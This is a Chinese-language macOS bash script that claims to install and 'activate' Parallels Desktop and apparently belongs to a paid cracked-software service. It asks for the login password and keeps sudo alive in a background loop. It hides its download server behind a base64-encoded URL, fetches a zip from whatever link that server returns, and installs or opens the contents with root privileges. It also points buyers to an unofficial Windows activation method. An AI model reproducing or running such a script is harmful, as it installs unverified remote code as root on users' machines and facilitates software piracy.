#!/usr/bin/env bash
MAC_VERSION=$(sw_vers -productVersion)

set -eo pipefail
A=2
B=0
C=""
D="$HOME/.cache/pd_download"
E=""
F=""
G="$HOME/.cache/mnt_pd"
PD18=false

H() { echo -e "\033[32m$*\033[0m"; }
I() { echo -e "\033[33m$*\033[0m"; }
J() { echo -e "\033[31m$*\033[0m"; }
H "❤️  欢迎使用pd26全自动安装激活工具！"
echo "当前系统版本号：$MAC_VERSION"
version_less_than() {
    [[ "$(printf '%s\n' "$1" "$2" | sort -V | head -n1)" != "$2" ]]
}
if version_less_than "$MAC_VERSION" "13.3"; then
    PD18=true
    E="$D/pd18.zip"
    P="pd18"
    I "因系统版本低于13.3，如需安装pd26，请到系统设置 - 软件更新界面中升级系统版本"
    I "可继续安装pd18版本，确认请按任意键，取消安装请按Esc"
    read -rs -n1 key < /dev/tty
    if [[ $key == $'\x1b' ]]; then
        H "已取消安装，感谢使用！"
        exit 0
    fi
else
    E="$D/pd26.zip"
    P="pd"
fi

if ! sudo -vn &>/dev/null; then
    I "请输入开机密码，密码输入过程中不可见，输入完成后按Enter键即可："
    sudo -v < /dev/tty || { J "密码错误，安装终止"; exit 1; }
fi
while true; do sudo -vn; sleep 55; kill -0 "$$" || exit; done 2>/dev/null &

while (( B < A )); do
    ((B++))
    I "请输入下载口令，输入完成后按Enter键即可："
    read -rp "> " K < /dev/tty
    echo
    H "正在获取软件，请稍候..."
    N=$(echo -n "aHR0cHM6Ly9wZDI2YXBpLXN2aXAucnVzdHZpcC50b3Av" | base64 -d)$P
    L=$(curl -sS --location --request POST "$N" \
        --header 'Content-Type: application/json' \
        --data-raw "{\"password\":\"$K\",\"mac_version\":\"$MAC_VERSION\"}")
    if [[ "$L" == http* ]]; then
        C="$L"
        break
    else
        J "$L"
        if (( B < A )); then
            I "别着急，再试一次吧～"
        else
            J "连续错误两次，请稍后重试！"
            exit 1
        fi
    fi
done

H "开始下载，请耐心等待～"
mkdir -p "$D"
curl -L --progress-bar -o "$E" "$C"

H "正在解压文件..."
rm -rf "$D"/*.dmg "$D"/*.pkg "$D"/__MACOSX
unzip -q "$E" -d "$D"

if [ "$PD18" = true ]; then
    F=$(find "$D" -type f -iname "*.pkg" ! -path "*/__MACOSX/*" | head -n1)
    if [[ -z ${F:-} ]]; then
        J "解压后未找到文件，请检查 zip 内容！"
        exit 1
    fi
    H "已定位到安装包"
    sudo installer -pkg "$F" -target /
else
    F=$(find "$D" -type f -iname "*.dmg" ! -path "*/__MACOSX/*" | head -n1)
    if [[ -z ${F:-} ]]; then
        J "解压后未找到文件，请检查 zip 内容！"
        exit 1
    fi
    H "已定位到文件"
    sudo chmod +r "$F"
    mkdir -p "$G"
    if ! sudo hdiutil attach -nobrowse -mountpoint "$G" "$F" &>/dev/null; then
        J "首次挂载失败，正在重试..."
        sleep 1
        if ! sudo hdiutil attach -nobrowse -mountpoint "$G" "$F"; then
            J "挂载连续失败，请手动执行：sudo hdiutil attach -mountpoint $G $F"
            exit 1
        fi
    fi
    M=$(find "$G" -maxdepth 2 -type d \( -iname "*安装*" -o -iname "*install*" -o -iname "*setup*" \) | head -n1)
    if [[ -n ${M:-} ]]; then
        H "已帮你打开 PD26 安装程序，请根据界面提示操作即可："
        open "$M"
    else
        I "安装器需要手动找一下，已挂载在：$G"
    fi
    I "根据提示，输入开机密码，PD安装完成后，按任意键即可结束脚本～"
    read -rn1 -s < /dev/tty
    H "正在清理缓存..."
    sudo hdiutil detach "$G" &>/dev/null || I "卸载镜像失败，请手动推出"
    rm -f "$E" "$F"
fi
H "--------------------------------------------------------------------------------"
H "点击“安装Windows”按钮即可自动安装Win11"
I "❤️  如需激活Win11，请确认收货后好评，联系客服免费获取Windows数字许可证激活方法！"
H "现在可以关闭这个窗口啦，感谢你的支持！"